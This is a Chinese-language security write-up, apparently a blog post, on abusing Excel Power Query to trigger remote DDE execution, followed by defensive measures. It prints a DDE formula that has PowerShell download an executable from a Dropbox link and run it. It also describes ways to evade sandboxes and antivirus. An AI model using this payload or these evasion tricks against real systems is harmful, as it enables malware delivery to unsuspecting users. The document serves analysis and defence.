利用Excel power query实现远程DDE执行
字数 1302 2025-08-27 12:33:31

利用Excel Power Query实现远程DDE执行漏洞分析与防护指南

概述

Mimecast研究人员发现微软Excel中的Power Query功能可被用于动态启动远程DDE(动态数据交换)攻击,控制payload执行。Power Query是Excel插件和Power BI组件,用于简化数据发现、访问和协作操作,增强商业智能自助服务体验。

攻击原理与技术细节

Power Query的攻击面分析

  1. 动态嵌入远程内容:攻击者可将恶意内容嵌入单独数据源,当文件打开时加载到表单中
  2. 指纹识别能力:可在传播payload前对沙箱或受害者机器进行指纹识别
  3. 多阶段攻击:支持pre-payload和pre-exploitation阶段,提高攻击成功率

攻击流程实现

  1. DDE漏洞利用

    • 创建保存payload的外部web页面
    • 编写简单的HTTP服务器监听80端口
    • 响应包含DDE命令的恶意内容
    =cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1
    
  2. 文件格式分析

    • table/table1.xml包含查询表特征
    • _rels/table1.xml.rels描述表与查询表的链接关系
    • queryTable1.xml使用connectionId链接到connection.xml
    • Web查询保存在xl\customXL\item1中,采用base64编码
  3. 执行机制

    • 用户需双击单元格加载DDE,再次点击释放执行
    • 触发DDE后启动从web端接收的payload

绕过技术

  1. 绕过双击要求(自动执行)

    • Office 2016:创建dbPr对象,需要用户交互
    • Office 2010:创建webPr对象,无需交互即可运行payload
  2. 绕过AV和沙箱检测

    • HTTP Header过滤:服务器仅在特定Header(如Referer为www.google.com)时返回恶意内容
    • Power Query高级模式:可设置特定web header,确保只有Excel请求能获取payload
    • 定时刷新机制
      • 设置文件每分钟更新
      • 第10次查询时才服务payload
      • 使10分钟内执行文件的沙箱无法获取完整payload

防御措施

微软官方建议

  1. 使用组策略拦截外部数据连接
  2. 参考微软安全公告4053440,确保应用安全处理DDE域

企业防护方案

  1. 禁用高风险功能

    • 禁用Power Query或限制其使用权限
    • 禁用DDE协议或限制其执行权限
  2. 网络层防护

    • 监控和过滤出站HTTP请求,特别是来自Office应用的
    • 拦截可疑的Referer header请求
  3. 终端防护

    • 部署高级威胁防护方案,检测多阶段攻击
    • 实施应用程序控制,限制PowerShell等脚本执行
  4. 用户教育

    • 培训用户识别可疑Excel文件
    • 警告不要启用不明来源的外部内容

技术总结

该漏洞利用展示了Power Query作为攻击面的潜在风险,结合了:

  • 远程内容嵌入
  • DDE协议滥用
  • 沙箱和AV绕过技术
  • 多阶段攻击策略

这种攻击方式难以检测,因为恶意内容本身不直接存在于文件中,而是在打开时动态加载。组织应采取纵深防御策略,结合技术控制与用户教育来防范此类高级威胁。

利用Excel Power Query实现远程DDE执行漏洞分析与防护指南 概述 Mimecast研究人员发现微软Excel中的Power Query功能可被用于动态启动远程DDE(动态数据交换)攻击,控制payload执行。Power Query是Excel插件和Power BI组件,用于简化数据发现、访问和协作操作,增强商业智能自助服务体验。 攻击原理与技术细节 Power Query的攻击面分析 动态嵌入远程内容 :攻击者可将恶意内容嵌入单独数据源,当文件打开时加载到表单中 指纹识别能力 :可在传播payload前对沙箱或受害者机器进行指纹识别 多阶段攻击 :支持pre-payload和pre-exploitation阶段,提高攻击成功率 攻击流程实现 DDE漏洞利用 : 创建保存payload的外部web页面 编写简单的HTTP服务器监听80端口 响应包含DDE命令的恶意内容 文件格式分析 : table/table1.xml 包含查询表特征 _rels/table1.xml.rels 描述表与查询表的链接关系 queryTable1.xml 使用 connectionId 链接到 connection.xml Web查询保存在 xl\customXL\item1 中,采用base64编码 执行机制 : 用户需双击单元格加载DDE,再次点击释放执行 触发DDE后启动从web端接收的payload 绕过技术 绕过双击要求(自动执行) : Office 2016:创建 dbPr 对象,需要用户交互 Office 2010:创建 webPr 对象,无需交互即可运行payload 绕过AV和沙箱检测 : HTTP Header过滤 :服务器仅在特定Header(如Referer为www.google.com)时返回恶意内容 Power Query高级模式 :可设置特定web header,确保只有Excel请求能获取payload 定时刷新机制 : 设置文件每分钟更新 第10次查询时才服务payload 使10分钟内执行文件的沙箱无法获取完整payload 防御措施 微软官方建议 使用组策略拦截外部数据连接 参考微软安全公告4053440,确保应用安全处理DDE域 企业防护方案 禁用高风险功能 : 禁用Power Query或限制其使用权限 禁用DDE协议或限制其执行权限 网络层防护 : 监控和过滤出站HTTP请求,特别是来自Office应用的 拦截可疑的Referer header请求 终端防护 : 部署高级威胁防护方案,检测多阶段攻击 实施应用程序控制,限制PowerShell等脚本执行 用户教育 : 培训用户识别可疑Excel文件 警告不要启用不明来源的外部内容 技术总结 该漏洞利用展示了Power Query作为攻击面的潜在风险,结合了: 远程内容嵌入 DDE协议滥用 沙箱和AV绕过技术 多阶段攻击策略 这种攻击方式难以检测,因为恶意内容本身不直接存在于文件中,而是在打开时动态加载。组织应采取纵深防御策略,结合技术控制与用户教育来防范此类高级威胁。